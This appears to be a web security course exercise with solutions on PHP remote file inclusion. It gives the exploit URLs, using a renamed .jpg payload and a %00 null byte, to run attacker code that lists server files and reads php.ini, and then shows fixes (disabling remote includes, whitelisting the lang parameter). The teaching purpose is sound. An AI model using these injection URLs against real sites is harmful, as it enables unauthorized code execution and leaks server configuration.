Malicious File Execution: Exercise

Attack your system

• On another web site (your HTTPS server for instance). Create a PHP file that generates "Hello you are hacked".
  We have written the file hello.php (Source file)
• As a language, give a reference to your hacker file (using http). You can not refere to your file as a file, since it should not be on the same file system..
  The first attempt is : index.php?lang=http://localhost/WebSecurity/examples/exercises/maliciousFileExecution/hello (the .php) is added by the program before the require. It works, but PHP is not interpreted on the target site, but instead on the server where it has been placed. So the PHP_SELF indicates that this file is executed on the normal location, no hack occured here (outside a reflecting XSS).
  You should remember that the script is first evaluated on the first server, and then on the second.
  So we need to prevent our first site to evaluate the script. The easiest is to rename our file: hello.jpg. Apache serves such a file without evaluating its content.
  Since the filename is automatically completed with a .php we have to use the %00 character, to close the inserted text. The URL becomes:
  index.php?lang=http://localhost/WebSecurity/examples/exercises/maliciousFileExecution/hello.jpg%00. In the second case, the location refered to by the PHP_SELF is the attacked one. This script is executed on the right place.
• Change your attacked script, such that it displays all the files in the directory of the attacked system (where the script is) and displays the content of the php.ini file.
  index.php?lang=http://localhost/WebSecurity/examples/exercises/maliciousFileExecution/display.jpg%00.
  In this file, we list all files in the directory (could be any directory) and display the php.ini file. Since this file depends on the implementation. The first feature is very usefull for navigating on a server.

Fix the system

• Change the config file such that no inclusion of remote files is allowed
  Comment out the added line in your php.ini file.
• Change the include code, such that just a valid file name can be given.
  We simply verify that the language is one of the supported values. If not the request is ignored:

  $lang_list = array(
      french,
      english,
      german
  );
  ...
  if (isset($_REQUEST['lang'])){
      if(in_array($_REQUEST['lang'],$lang_list)){ 
  	$_SESSION['language']=$_REQUEST['lang'];
      }
  }